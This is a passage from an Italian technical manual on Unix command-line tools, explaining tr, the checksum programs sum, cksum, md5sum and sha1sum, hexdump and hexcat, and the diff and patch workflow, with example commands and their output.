Questo esempio mostra l'uso dell'opzione di complemento ('**-c**'). In pratica, si vogliono identificare nella prima stringa tutti i caratteri che non siano alfanumerici (escludendo le lettere accentate), sostituendoli con un carattere spazio. Per indicare tanti caratteri spazio quanti sono necessari nella seconda stringa, si utilizza la notazione speciale '**[*]**' che ripete lo spazio in modo indefinito. Infine, gli spazi multipli vengono semplicemente eliminati.

```
$ tr -c -s '[a-zA-Z0-9]' '[\n*]' < primo.txt > secondo.txt [Invio]
```

Il comando appena mostrato si comporta come nell'esempio precedente, solo che invece di usare lo spazio per sostituire ciò che non è un carattere alfanumerico, si utilizza il codice

<*LF*>, corrispondente al codice di interruzione di riga. Lo scopo è quello di individuare tutte le parole del testo e di ottenerne l'elenco, dove ognuna occupa una riga separata.

```
$ tr -c -s '[:alnum:]'  '[\n*]' < primo.txt > secondo.txt [Invio]
```

Questa variante precisa meglio l'intenzione di selezionare tutti i caratteri non alfanumerici, perché la stringa di cui si fa il complemento contiene l'indicazione della classe '**alnum**', che comprende anche le lettere accentate della propria localizzazione.

24.10 Controlli sommari

Alcuni programmi si occupano di calcolare valori di vario genere in base al contenuto dell'input. Può trattarsi del conteggio di elementi determinati o del calcolo di codici di controllo (*checksum*).

24.10.1 Utilizzo di «sum»

Il programma di servizio '**sum**'[31] calcola un codice di controllo a 16 bit per ogni file fornito negli argomenti. Emette attraverso lo standard output il valore ottenuto insieme alla dimensione (arrotondata) in blocchi. Il valore predefinito della dimensione dei blocchi è di 1024 byte.

```
sum [opzioni] [file...]
```

Questo programma si considera superato e al suo posto si preferisce utilizzare '**cksum**'

Tabella 24.34. Alcune opzioni.

Opzione	Descrizione
`-r`	Utilizza l'algoritmo predefinito (compatibile con BSD).
`-s` `--sysv`	Utilizza l'algoritmo compatibile con System V. In tal caso, i blocchi hanno una dimensione di 512 byte.

24.10.2 Utilizzo di «cksum»

Il programma di servizio '**cksum**'[32] calcola un codice di controllo CRC (*Cyclic redundancy check*) per ogni file fornito negli argomenti, oppure dello standard input in mancanza di questi:

```
cksum [opzioni] [file...]
```

Non utilizza opzioni, tranne quelle comuni dei programmi GNU.

24.10.3 Utilizzo di «md5sum»

Il programma di servizio '**md5sum**'[33] calcola un codice di controllo MD5 (*Message digest*) a 128 bit per ogni file fornito negli argomenti, oppure verifica la corrispondenza di una serie di codici di controllo accumulati precedentemente in un file, con i file relativi:

md5sum [*opzioni*] [*file*...]

In condizioni normali, '**md5sum**' emette una serie di righe nella forma:

firma file

Per esempio, una cosa del genere:

```
fdbf0c571fb4942a6c505d732e163876  a2ps.1.gz
f2c766c141c6e5bb55c8edf6ce4ecba6  ab.1.gz
00169ba95302aca74597f000b61c3255  access.1.gz
69cf0ef0436aff6830a8a8a11b53b27b  addftinfo.1.gz
```

Questa informazione può essere conservata per verificare in seguito se gli stessi file corrispondono sempre agli originali, oppure se sono stati danneggiati o manomessi. La verifica può essere manuale (visiva), oppure può essere lo stesso '**md5sum**' a verificarla, utilizzando per questo l'opzione '**-c**'.

Tabella 24.36. Alcune opzioni.

Opzione	Descrizione
-c *file*	Utilizzando questa opzione, negli argomenti di '**md5sum**' si può indicare solo un file, costituito dall'elenco di firme abbinate ai file corrispondenti: vengono ricalcolate le firme di questi file e viene verificata la corrispondenza con le firme già annotate. In caso di differenza, viene emessa una segnalazione di errore.
-v	Genera maggiori informazioni.

Segue la descrizione di alcuni esempi.

- $ **md5sum *.txt > firme** [*Invio*]

  Raccoglie le firme MD5 di tutti i file che terminano con l'estensione '.txt'.

- $ **md5sum -c firme** [*Invio*]

  Controlla tutti i file elencati nel file 'firme' per verificare che il contenuto di questi non sia stato alterato in alcun modo.

24.10.4 Utilizzo di «sha1sum»

Il programma di servizio '**sha1sum**'[34] calcola un codice di controllo SHA1 a 160 bit per ogni file fornito negli argomenti, oppure verifica la corrispondenza di una serie di codici di controllo accumulati precedentemente in un file, con i file relativi:

```
sha1sum [opzioni] [file...]
```

```
sha1sum [opzioni] -c file
```

In condizioni normali il programma serve a calcolare il codice di controllo dei file indicati alla fine della riga di comando, generando un risultato simile a quello dell'esempio seguente:

`$` **`sha1sum /bin/*sh`** [*Invio*]

```
13c36c7b1327b2bf4bc692e27e55125f6335ea82  /bin/ash
f4e6f05cafcffa4c43218f5b8c9e55a056cea459  /bin/bash
13c36c7b1327b2bf4bc692e27e55125f6335ea82  /bin/dash
20e6f3f8e2705e281be4892498550fd4a8c7c3e0  /bin/fdflush
f4e6f05cafcffa4c43218f5b8c9e55a056cea459  /bin/rbash
f4e6f05cafcffa4c43218f5b8c9e55a056cea459  /bin/sh
```

Questa informazione può essere conservata per verificare in seguito se gli stessi file corrispondono sempre agli originali, oppure se sono stati danneggiati o manomessi. La verifica può essere manuale (visiva), oppure può essere lo stesso programma a farla, utilizzando per questo l'opzione '**-c**', ma in tal caso si fornisce un solo file, che corrisponde a quello contenente l'elenco accumulato in precedenza. Nell'esempio seguente si suppone di avere salvato il controllo precedente nel file '`elenco.sha1sum`':

`$` **`sha1sum -c elenco.sha1sum`** [*Invio*]

```
/bin/ash: OK
/bin/bash: OK
/bin/dash: OK
/bin/fdflush: OK
/bin/rbash: OK
/bin/sh: OK
```

Tabella 24.39. Alcune opzioni.

Opzione	Descrizione
`-c` *file* `--check` *file*	Si richiede di eseguire la verifica dei codice di controllo in base all'elenco di firme SHA1 accumulate in precedenza nel file.
`-w` `--warn`	Mostra informazioni diagnostiche nel caso il file da usare per il confronto contenga delle righe imperfette.

24.11 Lettura di file binari

Per poter leggere il contenuto di file che non sono soltanto file di testo, diventa necessario trasformare alcuni o tutti i byte in qualcosa di leggibile, come può essere in esadecimale o in ottale.

24.11.1 Utilizzo di «hexdump» o di «hd»

Il programma di servizio '**hexdump**', o '**hd**',[35] consente di visualizzare il contenuto di un file binario attraverso una qualche forma di trasformazione utile per la lettura umana:

```
hexdump [opzioni] [file...]
```

```
hd [opzioni] [file...]
```

I due modelli sintattici mostrano l'uso di questo programma attraverso nomi diversi; in particolare, l'uso del nome '**hd**' implica automaticamente la presenza dell'opzione '**-C**'. Se si omette l'indicazione dei file nella riga di comando, il programma utilizza per questo lo standard input.

Tabella 24.40. Alcune opzioni.

Opzione	Significato mnemonico	Descrizione
`-b`	*byte*	Mostra una traduzione del contenuto del file in ottale, separando i codici in ottale, byte per byte. Non conviene usare questa opzione con '**hd**', ovvero in abbinamento con '**-C**'.
`-c`	*character*	Mostra una traduzione del contenuto del file in modo normale, quando possibile, altrimenti usa la notazione ottale. I byte vengono separati uno a uno. Non conviene usare questa opzione con '**hd**', ovvero in abbinamento con '**-C**'.
`-C`	*canonical*	Mostra il risultato in forma «canonica», pari all'uso del comando con il nome '**hd**'.
`-d`	*decimal*	Mostra una traduzione del contenuto del file in forma decimale, dove ogni valore corrisponde a una coppia di byte. Non conviene usare questa opzione con '**hd**', ovvero in abbinamento con '**-C**'.
`-o`	*octal*	Mostra una traduzione del contenuto del file in forma ottale, a coppie di byte. Non conviene usare questa opzione con '**hd**', ovvero in abbinamento con '**-C**'.
`-x`	*exadecimal*	Mostra una traduzione del contenuto del file in forma esadecimale, a coppie di byte. Non conviene usare questa opzione con '**hd**', ovvero in abbinamento con '**-C**'.
`-l` ***n***	*length*	Legge solo i primi ***n*** byte.
`-s` ***n***	*skip*	Salta i primi ***n*** byte a partire dall'inizio del file.

Vengono mostrati alcuni esempi, senza spiegazione, che prendono in considerazione lo stesso file di partenza:

$ **hexdump /bin/arch** [*Invio*]

```
0000000 457f 464c 0101 0001 0000 0000 0000 0000
0000010 0002 0003 0001 0000 8300 0804 0034 0000
0000020 0710 0000 0000 0000 0034 0020 0007 0028
0000030 0018 0017 0006 0000 0034 0000 8034 0804
0000040 8034 0804 00e0 0000 00e0 0000 0005 0000
…
0000aa0 0004 0000 0000 0000 0001 0000 0003 0000
0000ab0 0000 0000 0000 0000 0658 0000 00b5 0000
0000ac0 0000 0000 0000 0000 0001 0000 0000 0000
0000ad0
```

$ **hd /bin/arch** [*Invio*]

```
00000000  7f 45 4c 46 01 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
00000010  02 00 03 00 01 00 00 00  00 83 04 08 34 00 00 00  |............4...|
00000020  10 07 00 00 00 00 00 00  34 00 20 00 07 00 28 00  |........4. ...(.|
00000030  18 00 17 00 06 00 00 00  34 00 00 00 34 80 04 08  |........4...4...|
00000040  34 80 04 08 e0 00 00 00  e0 00 00 00 05 00 00 00  |4...à...à.......|
…
00000aa0  04 00 00 00 00 00 00 00  01 00 00 00 03 00 00 00  |................|
00000ab0  00 00 00 00 00 00 00 00  58 06 00 00 b5 00 00 00  |........X...µ...|
00000ac0  00 00 00 00 00 00 00 00  01 00 00 00 00 00 00 00  |................|
00000ad0
```

$ **hexdump -b /bin/arch** [*Invio*]

```
0000000 177 105 114 106 001 001 001 000 000 000 000 000 000 000 000 000
0000010 002 000 003 000 001 000 000 000 000 203 004 010 064 000 000 000
0000020 020 007 000 000 000 000 000 000 064 000 040 000 007 000 050 000
0000030 030 000 027 000 006 000 000 000 064 000 000 000 064 200 004 010
0000040 064 200 004 010 340 000 000 000 340 000 000 000 005 000 000 000
…
0000aa0 004 000 000 000 000 000 000 000 001 000 000 000 003 000 000 000
0000ab0 000 000 000 000 000 000 000 000 130 006 000 000 265 000 000 000
0000ac0 000 000 000 000 000 000 000 000 001 000 000 000 000 000 000 000
0000ad0
```

$ **hexdump -c /bin/arch** [*Invio*]

```
0000000 177   E   L   F 001 001 001  \0  \0  \0  \0  \0  \0  \0  \0  \0
0000010 002  \0 003  \0 001  \0  \0  \0  \0 203 004  \b   4  \0  \0  \0
0000020 020  \a  \0  \0  \0  \0  \0  \0   4  \0      \0  \a  \0   (  \0
0000030 030  \0 027  \0 006  \0  \0  \0   4  \0  \0  \0   4 200 004  \b
0000040   4 200 004  \b   à  \0  \0  \0   à  \0  \0  \0 005  \0  \0  \0
…
0000aa0 004  \0  \0  \0  \0  \0  \0  \0 001  \0  \0  \0 003  \0  \0  \0
0000ab0  \0  \0  \0  \0  \0  \0  \0  \0   X 006  \0  \0   µ  \0  \0  \0
0000ac0  \0  \0  \0  \0  \0  \0  \0  \0 001  \0  \0  \0  \0  \0  \0  \0
0000ad0
```

$ **hexdump -d /bin/arch** [*Invio*]

```
0000000   17791   17996   00257   00001   00000   00000   00000   00000
0000010   00002   00003   00001   00000   33536   02052   00052   00000
0000020   01808   00000   00000   00000   00052   00032   00007   00040
0000030   00024   00023   00006   00000   00052   00000   32820   02052
0000040   32820   02052   00224   00000   00224   00000   00005   00000
…
0000aa0   00004   00000   00000   00000   00001   00000   00003   00000
0000ab0   00000   00000   00000   00000   01624   00000   00181   00000
0000ac0   00000   00000   00000   00000   00001   00000   00000   00000
0000ad0
```

$ **hexdump -o /bin/arch** [*Invio*]

```
0000000  042577  043114  000401  000001  000000  000000  000000  000000
0000010  000002  000003  000001  000000  101400  004004  000064  000000
0000020  003420  000000  000000  000000  000064  000040  000007  000050
0000030  000030  000027  000006  000000  000064  000000  100064  004004
0000040  100064  004004  000340  000000  000340  000000  000005  000000
…
0000aa0  000004  000000  000000  000000  000001  000000  000003  000000
0000ab0  000000  000000  000000  000000  003130  000000  000265  000000
0000ac0  000000  000000  000000  000000  000001  000000  000000  000000
0000ad0
```

$ **hexdump -x /bin/arch** [*Invio*]

```
0000000   457f   464c   0101   0001   0000   0000   0000   0000
0000010   0002   0003   0001   0000   8300   0804   0034   0000
0000020   0710   0000   0000   0000   0034   0020   0007   0028
0000030   0018   0017   0006   0000   0034   0000   8034   0804
0000040   8034   0804   00e0   0000   00e0   0000   0005   0000
...
0000aa0   0004   0000   0000   0000   0001   0000   0003   0000
0000ab0   0000   0000   0000   0000   0658   0000   00b5   0000
0000ac0   0000   0000   0000   0000   0001   0000   0000   0000
0000ad0
```

La pagina di manuale *hexdump(1)* riporta anche altre opzioni che qui non sono state indicate; in particolare, è possibile programmare il risultato dell'elaborazione attraverso le opzioni '**-e**' e '**-f**'.

24.11.2 Utilizzo di «hexcat»

Il programma di servizio '**hexcat**', [36] consente di visualizzare il contenuto di uno o più file in forma esadecimale. Non prevede alcuna opzione:

```
hexcat [file...]
```

L'esempio seguente mostra il funzionamento di '**hexcat**':

$ **hexcat /bin/true** [*Invio*]

```
00000000 - 7f 45 4c 46  01 01 01 00  00 00 00 00  00 00 00 00  .ELF............
00000010 - 02 00 03 00  01 00 00 00  60 89 04 08  34 00 00 00  ........`...4...
00000020 - b8 29 00 00  00 00 00 00  34 00 20 00  07 00 28 00  ¸)......4. ...(.
00000030 - 18 00 17 00  06 00 00 00  34 00 00 00  34 80 04 08  ........4...4...
00000040 - 34 80 04 08  e0 00 00 00  e0 00 00 00  05 00 00 00  4...............
00000050 - 04 00 00 00  03 00 00 00  14 01 00 00  14 81 04 08  ................
00000060 - 14 81 04 08  13 00 00 00  13 00 00 00  04 00 00 00  ................
00000070 - 01 00 00 00  01 00 00 00  00 00 00 00  00 80 04 08  ................
...
...
00002d40 - 00 00 00 00  00 00 00 00  20 00 00 00  00 00 00 00  ........ .......
00002d50 - 01 00 00 00  03 00 00 00  00 00 00 00  00 00 00 00  ................
00002d60 - 00 29 00 00  b5 00 00 00  00 00 00 00  00 00 00 00  .)..µ...........
00002d70 - 01 00 00 00  00 00 00 00                            ........
```

24.12 Differenze tra i file

Spesso esiste la necessità di confrontare il contenuto tra dei file per verificare se esistono delle differenze, ma soprattutto per conoscere quali sono, quando queste non sono troppe. Se le differenze tra i due file sono in numero ragionevolmente contenuto, si può generarne un rapporto, in modo da poter ottenere uno dei due file a partire dall'altro, assieme a tale elenco di variazioni.

Questo rapporto sulle differenze, definito prevalentemente *patch*, si applica a un file, o a una serie di file, per ottenere altrettanti file aggiornati.

Esistono tanti modi di costruire un file di differenze. Si distinguono in particolare due situazioni: i file di testo e gli altri. Si può comprendere che in un file di testo, tipicamente un sorgente di un programma, i cambiamenti avvengano a livello di righe, nel senso che se ne possono aggiungere, togliere e modificare. In un file binario invece, non avendo il riferimento delle righe, il problema è più complesso. La gestione delle differenze tra i file riguarda prevalentemente i file di testo normale, cosa di cui si vuole trattare in questo capitolo.

24.12.1 Creazione di un file di differenze con «diff»

Il programma più importante per analizzare le differenze tra due file di testo è '**diff**'.[37] Può funzionare con diverse modalità, per determinare semplicemente se una coppia di file è identica o meno, oppure per indicare le differenze che ci sono tra i due, con maggiore o minore dettaglio di informazioni al riguardo. La sintassi sintetica di questo programma è molto semplice.

```
diff [opzioni] file_1 file_2
```

Il risultato del confronto dei file viene emesso attraverso lo standard output.

24.12.1.1 Regolazione della sensibilità di «diff»

Quando si confrontano file di testo, può darsi che alcuni tipi di differenze non siano da considerare, come per esempio l'aggiunta di spazi alla fine di una riga, o l'inserzione di righe vuote addizionali. Inoltre, si può desiderare di conoscere semplicemente se esiste una qualche differenza, senza entrare troppo nel dettaglio. Questa sensibilità alle differenze viene definita attraverso l'uso di opzioni apposite. Le più importanti sono elencate nella tabella successiva.

Tabella 24.49. Opzioni per il controllo della sensibilità di '**diff**'.

Opzione	Descrizione
`-q` `--brief`	Rapporto sommario: attraverso questa opzione si richiede a '**diff**' di informare semplicemente sull'esistenza di differenze tra due file, senza l'indicazione esplicita di queste.
`-i` `--ignore-case`	Maiuscole e minuscole: attraverso questa opzione si può richiedere a '**diff**' di ignorare la differenza tra maiuscole e minuscole.
`-b` `--ignore-space-change`	Spaziatura orizzontale ridondante: questa opzione permette di fare ignorare a '**diff**' le differenze dovute a una diversa spaziatura orizzontale del testo. Questo riguarda quindi, sia il carattere spazio, <*SP*>, sia il carattere di tabulazione, <*HT*>.

Opzione	Descrizione
`-w` `--ignore-all-space`	Spaziatura orizzontale: questa opzione permette di fare ignorare completamente a '**`diff`**' la presenza degli spazi.
`-B` `--ignore-blank-lines`	Spaziatura verticale: questa opzione permette di fare ignorare a '**`diff`**' le differenze dovute alla presenza o assenza di righe vuote. Deve trattarsi però di righe completamente vuote, cioè composte esclusivamente dal codice di interruzione di riga.

Con l'opzione '**`-i`**' le due righe seguenti sono considerate equivalenti:

```
Chi va piano,

chi va PIANO,
```

Con l'opzione '**`-b`**', le due righe seguenti sono considerate equivalenti:

```
va sano e va lontano

va sano  e   va lontano
```

Con l'opzione '**`-w`**', le due righe seguenti sono equivalenti:

```
vasano e va lon   tano

va sano  e  va lontano
```

24.12.1.2 Confronto binario o testuale

Prima di iniziare un confronto tra due file, '**`diff`**' verifica che si tratti di file di testo in base al contenuto di alcune righe iniziali. Se '**`diff`**' incontra il carattere <*NUL*>, a meno che siano state usate opzioni particolari in senso contrario, assume che si tratti di un file binario e verifica semplicemente se i file sono identici.

Tabella 24.53. Opzioni per il tipo di confronto.

Opzione	Descrizione
`--binary`	Il confronto binario può essere imposto attraverso questa opzione e ciò che si ottiene è solo la verifica sull'identicità dei file. Se la prima parte di uno dei file da confrontare contiene il carattere <*NUL*>, '**`diff`**' assume implicitamente che debba essere eseguito un confronto binario.
`-a` `--text`	Il confronto testuale, cioè quello normale, può essere imposto con questa opzione anche in presenza di caratteri <*NUL*> iniziali, per esempio quando si vogliono confrontare file generati da programmi per l'elaborazione testi che sfruttano quel carattere per scopi particolari.

24.12.1.3 Differenze senza contesto

Il funzionamento normale di '**`diff`**' prevede l'emissione attraverso lo standard output dell'indicazione delle sole differenze tra i file, secondo il formato seguente:

```
comando
< riga_primo_file
< riga_primo_file
< ...
---
> riga_secondo_file
> riga_secondo_file
> ...
```

In questo tipo di notazione, è il «comando» a stabilire l'operazione da compiere. Il comando si compone di tre parti: il numero di una riga, o di un intervallo di righe del primo file; una lettera che definisce l'operazione da compiere; il numero di una riga, o di un intervallo di righe del secondo file.

```
righe_file_1azionerighe_file_2
```

Si distinguono le tre azioni seguenti.

- **Aggiunta**

  ```
  posizione_file_1arighe_file_2
  ```

  Indica che per ottenere il secondo file a partire dal primo, occorre aggiungere a questo le righe indicate a destra dell'azione, dopo la posizione indicata a sinistra. Per esempio, '`5a6,8`' significa che per ottenere il secondo file occorre aggiungere al primo le righe dalla sesta all'ottava del secondo, dopo la quinta riga del primo file.

- **Sostituzione**

  ```
  righe_file_1crighe_file_2
  ```

  Indica di sostituire le righe del primo file, indicate a sinistra dell'azione, con quelle del secondo file indicate a destra.

- **Cancellazione**

  ```
  righe_file_1dposizione_file_2
  ```

  Indica che per ottenere il secondo file a partire dal primo, occorre eliminare dal primo le righe indicate a sinistra dell'azione. L'indicazione della posizione del secondo file serve

solo per completezza, a specificare il punto in cui tali righe mancano. In pratica, l'azione '**d**' è l'inverso dell'azione '**a**'.

Quando si vogliono distribuire file di differenze (o delle *patch*, se si preferisce il termine) per consentire ad altri di ottenere degli aggiornamenti da un file di partenza, è sconsigliabile l'utilizzo di questo formato, benché si tratti di quello predefinito per '**diff**', secondo lo standard POSIX.

Per verificare in pratica il funzionamento di '**diff**' in modo da ottenere l'indicazione delle differenze tra due file senza informazioni sul contesto, viene proposto il confronto tra i due file seguenti:

```
Chi va piano,
va sano
e va lontano
```

```
chi va piano,
va      sano
e va lontano
```

I nomi dei due file siano rispettivamente: '`primo`' e '`secondo`'.

$ **diff primo secondo** [*Invio*]

```
1,2c1,2
< Chi va piano,
< va sano
---
> chi va piano,
> va      sano
```

In pratica, le prime due righe del primo file vanno sostituite con le prime due del secondo, mentre la terza riga è la stessa in entrambi i file.

$ **diff -i primo secondo** [*Invio*]

```
2c2
< va sano
---
> va      sano
```

In questo caso, utilizzando l'opzione '**-i**', si vogliono ignorare le differenze tra lettere maiuscole e minuscole, pertanto risulta diversa solo la seconda riga.

$ **diff -b primo secondo** [*Invio*]

```
1c1
< Chi va piano,
---
> chi va piano,
```

In questo caso, utilizzando l'opzione '**-b**' si vogliono ignorare le differenze dovute a un uso differente delle spaziature tra le parole, pertanto risulta diversa solo la prima riga.

24.12.1.4 Formato contestuale standard

Il funzionamento normale di '**diff**' prevede l'emissione attraverso lo standard output dell'indicazione delle sole differenze tra i file, ma ciò è generalmente poco adatto alla distribuzione di file di differenze. Per questo è preferibile utilizzare un formato che, assieme alle modifiche, inserisca anche alcune righe di riferimento aggiuntive. In questo modo, il programma che deve applicare le modifiche, può agire anche se il contenuto del file sul quale vengono applicate ha subito piccoli spostamenti. Si ottiene un formato contestuale standard quando si utilizza l'opzione seguente:

```
-c | -C righe | --context [=righe]
```

Se viene indicato il numero di righe, si intende che venga utilizzato almeno quel numero di righe di riferimento contestuale. Se questo valore non viene indicato, si intende che siano tre. Il minimo perché il programma '**patch**' possa eseguire il suo compito è di due righe contestuali.

Il risultato di una comparazione contestuale standard è preceduto da due righe di intestazione contenenti l'indicazione dei due file.

```
*** file_1 data_di_modifica_del_primo_file
--- file_2 data_di_modifica_del_secondo_file
```

Successivamente appaiono i blocchi delle differenze, strutturati nel modo seguente:

```
***************
*** righe_primo_file ****
  riga_primo_file
  riga_primo_file
  ...
--- righe_corrispondenti_secondo_file ----
  riga_secondo_file
  riga_secondo_file
  ...
```

Si deve osservare che le righe vengono indicate a partire dalla terza colonna, lasciando cioè due spazi dall'inizio. La prima colonna viene utilizzata per indicare il ruolo particolare di quella riga:

- se non appare alcun simbolo, si tratta di una riga di contesto che non risulta modificata;
- il punto esclamativo ('**!**') rappresenta un cambiamento tra i due file;
- il segno '**+**' rappresenta una riga aggiunta nel secondo file che nel primo non esiste;

- il segno '**-**' rappresenta una riga nel primo file che nel secondo risulta cancellata.

Per verificare in pratica il funzionamento di '**diff**' in modo da utilizzare il formato contestuale standard, viene proposto il confronto tra i due file seguenti:

```
Chi va piano,
va sano
e va lontano
```

```
Chi va forte,
va alla morte;

chi va piano,
va     sano
e va lontano
```

I nomi dei due file siano rispettivamente: '`primo`' e '`secondo`'.

$ **diff -c primo secondo** [*Invio*]

```
*** primo       Tue Mar  3 08:12:30 1998
--- secondo     Wed Mar  4 11:16:32 1998
***************
*** 1,3 ****
! Chi va piano,
! va sano
  e va lontano
--- 1,6 ----
! Chi va forte,
! va alla morte;
!
! chi va piano,
! va     sano
  e va lontano
```

In breve, le prime tre righe del primo file vanno sostituite con le prime sei del secondo e l'unica riga in comune è l'ultima.

$ **diff -c -i primo secondo** [*Invio*]

```
*** primo       Tue Mar  3 08:12:30 1998
--- secondo     Wed Mar  4 11:16:32 1998
***************
*** 1,3 ****
  Chi va piano,
! va sano
  e va lontano
--- 1,6 ----
+ Chi va forte,
+ va alla morte;
+
  chi va piano,
! va      sano
  e va lontano
```

In questo caso, vanno aggiunte le prime tre righe del secondo file, quindi si incontra una riga uguale, dal momento che non contano le differenze tra lettere maiuscole e minuscole, infine viene sostituita una riga a causa della spaziatura orizzontale differente.

$ **diff -b -i -c primo secondo** [*Invio*]

```
*** primo       Tue Mar  3 08:12:30 1998
--- secondo     Wed Mar  4 11:16:32 1998
***************
*** 1,3 ****
--- 1,6 ----
+ Chi va forte,
+ va alla morte;
+
  chi va piano,
  va      sano
  e va lontano
```

In questo caso, avendo indicato che non contano le differenze dovute alla diversa spaziatura orizzontale e all'uso delle maiuscole, le ultime tre righe del secondo file corrispondono esattamente al primo file. In questo modo, tali righe non sono state indicate nella parte che riguarda il primo file.

24.12.1.5 Formato contestuale unificato

A fianco del formato contestuale standard, si pone un altro tipo di indicazione delle modifiche, definito «unificato», il quale ha il vantaggio di essere più compatto, ma anche lo svantaggio di essere disponibile solo negli strumenti GNU. Per selezionare questo tipo di risultato si utilizza una delle opzioni seguenti.

-u | -U ***righe*** | --unified[=***righe***]

Se viene indicato il numero di righe, si intende che venga utilizzato almeno quel numero di righe di riferimento contestuale. Se questo valore non viene indicato, si intende che siano tre. Il minimo perché il programma '**patch**' possa eseguire il suo compito è di due righe contestuali.

Il risultato di una comparazione contestuale unificata è preceduto da due righe di intestazione contenenti l'indicazione dei due file.

```
--- file_1  data_di_modifica_del_primo_file
+++ file_2  data_di_modifica_del_secondo_file
```

Successivamente appaiono i blocchi delle differenze, strutturati nel modo seguente:

```
@@ -righe_primo_file +righe_secondo_file @@
 riga_di_uno_dei_file
 riga_di_uno_dei_file
 ...
```

In modo simile al caso del formato contestuale standard, le righe sono riportate a partire dalla seconda colonna, lasciando il primo carattere libero per indicare l'operazione da compiere:

- le righe comuni a entrambi i file iniziano con un carattere spazio (<*SP*>);
- il segno '**+**' rappresenta l'inserimento di una riga, in quel punto, rispetto al contenuto del primo file;
- il segno '**-**' rappresenta una riga nel primo file che nel secondo risulta cancellata.

Per verificare in pratica il funzionamento di '**diff**' in modo da utilizzare il formato contestuale unificato, vengono proposti gli stessi esempi già visti nella sezione precedente:

$ **diff -u primo secondo** [*Invio*]

```
--- primo       Tue Mar  3 08:12:30 1998
+++ secondo     Wed Mar  4 11:16:32 1998
@@ -1,3 +1,6 @@
-Chi va piano,
-va sano
+Chi va forte,
+va alla morte;
+
+chi va piano,
+va     sano
 e va lontano
```

In breve, le prime tre righe del primo file vanno sostituite con le prime sei del secondo e l'unica riga in comune è l'ultima.

$ **diff -u -i primo secondo** [*Invio*]

```
--- primo       Tue Mar  3 08:12:30 1998
+++ secondo     Wed Mar  4 11:16:32 1998
@@ -1,3 +1,6 @@
+Chi va forte,
+va alla morte;
+
 Chi va piano,
-va sano
+va     sano
 e va lontano
```

In questo caso, vanno aggiunte le prime tre righe del secondo file, quindi si incontra una riga uguale, dal momento che non contano le differenze tra lettere maiuscole e minuscole, infine viene sostituita una riga a causa della spaziatura orizzontale differente.

$ **diff -b -i -u primo secondo** [*Invio*]

```
--- primo       Tue Mar  3 08:12:30 1998
+++ secondo     Wed Mar  4 11:16:32 1998
@@ -1,3 +1,6 @@
+Chi va forte,
+va alla morte;
+
 Chi va piano,
 va sano
 e va lontano
```

In questo caso, avendo indicato che non contano le differenze dovute alla diversa spaziatura orizzontale e all'uso delle maiuscole, le ultime tre righe del secondo file corrispondono esattamente al primo file. In questo modo, tali righe non sono state indicate nella parte che riguarda il primo file.

24.12.1.6 Confronto dei file di due directory

Il programma '**diff**' è in grado di generare un file di differenze unico, dal confronto di tutti i file di una directory con altrettanti file con lo stesso nome contenuti in un'altra. per ottenere questo, è sufficiente indicare il confronto di due directory, invece che di due file.

Se si desidera continuare l'analisi anche nelle sottodirectory successive, si può utilizzare l'opzione seguente:

```
-r | --recursive
```

Si suppone che 'uno/' e 'due/' siano due sottodirectory della directory corrente nel momento in cui si esegue '**diff**':

$ **diff -u uno due** [*Invio*]

Ciò che si ottiene attraverso lo standard output è l'elenco delle modifiche dei vari file incontrati in entrambe le directory. Quello che segue è un estratto delle intestazioni in cui si vede in che modo sono indicati i file, assieme al loro percorso relativo:

```
...
--- uno/primo   Thu Mar  5 09:48:10 1998
+++ due/primo   Fri Mar  6 08:30:07 1998
...
--- uno/secondo Wed Mar  4 09:23:52 1998
+++ due/secondo Fri Mar  6 08:29:59 1998
...
```

Se all'esempio precedente si aggiunge l'opzione '**-r**', '**diff**' attraversa anche le sottodirectory contenute in quelle indicate nella riga di comando:

`$` **`diff -u -r uno due`** [*Invio*]

24.12.1.7 Come si prepara un file di differenze

Quando si prepara un file di differenze, è opportuno usare un po' di accortezza per facilitare il lavoro di chi poi deve applicare queste modifiche. È il caso di distinguere due situazioni fondamentali: le differenze riferite a un file singolo e quelle relative a un intero ramo di directory.

Per prima cosa occorre decidere il tipo di formato: quello predefinito non è molto comodo perché non contiene le informazioni sui nomi dei file, mentre quello contestuale unificato dovrebbe essere il migliore. Tuttavia, quando si devono produrre file di differenze da utilizzare con strumenti strettamente POSIX, ci si deve accontentare del formato contestuale standard.

In generale, è importante l'ordine in cui si indicano i file o le directory tra gli argomenti di '**diff**': il primo dei due nomi rappresenta la situazione precedente, mentre il secondo quella nuova, ovvero l'aggiornamento verso cui si vuole andare. La situazione classica è quella in cui si modifica un file, ma prima di intervenire se ne salva una copia con la tipica estensione '`.orig`'. Si osservi l'esempio seguente:

`$` **`diff -u prova.txt.orig prova.txt > prova.diff`** [*Invio*]

Il file '`prova.txt`' è stato modificato, ma prima di farlo ne è stata salvata una copia con il nome '`prova.txt.orig`'. Il comando genera un file di differenze tra '`prova.txt.orig`' e '`prova.txt`'.

Per realizzare un file di differenze di un ramo intero di directory, si interviene in modo simile: si fa una copia del ramo, si modifica quello che si vuole nei file del ramo che si intende debba contenere gli aggiornamenti, quindi si utilizza '**diff**':

`$` **`diff -u -r prova.orig prova > prova.diff`** [*Invio*]

In questo caso, si intende fare riferimento al confronto tra le directory '`prova.orig/`' e '`prova/`'. Il file di differenze che si ottiene è unico per tutti i file che risultano modificati effettivamente.

24.12.2 Applicazione delle modifiche con «patch»

Il programma più adatto per applicare delle modifiche è '`patch`',[38] il quale di solito è in grado di determinare automaticamente il tipo di formato utilizzato e di saltare eventuali righe iniziali o finali aggiuntive. In pratica, con '`patch`' è possibile utilizzare file trasmessi come allegato nei messaggi di posta elettronica, senza doverli estrapolare.

```
patch [opzioni] < file_di_differenze
```

Il programma '`patch`' va usato preferibilmente, fornendo il file di differenze attraverso lo standard input, perché diversamente, la versione GNU ha una sintassi non perfettamente conforme allo standard POSIX. In questo modo, il file di differenze deve contenere l'indicazione del file da modificare, pertanto si può utilizzare soltanto un formato contestuale (compreso quello unificato).

In linea di massima, '`patch`' sovrascrive i file a cui si vogliono applicare delle modifiche, a meno che venga specificata un'opzione con la quale si richiede l'accantonamento di una copia della versione precedente. In questo caso, il file originale viene rinominato (in condizioni normali gli viene aggiunta l'estensione '`.orig`') e gli aggiornamenti vengono applicati a questo file ottenendone un altro con lo stesso nome di quello originale. Il programma '`patch`' cerca di applicare le modifiche anche quando il file di partenza non risulta perfettamente corrispondente a quanto indicato nel file di differenze. Se qualche blocco di modifiche non può essere applicato, questi vengono indicati in un file terminante con l'estensione '`.rej`' (*rejected*).

Tabella 24.68. Alcune opzioni.

Opzione	Descrizione
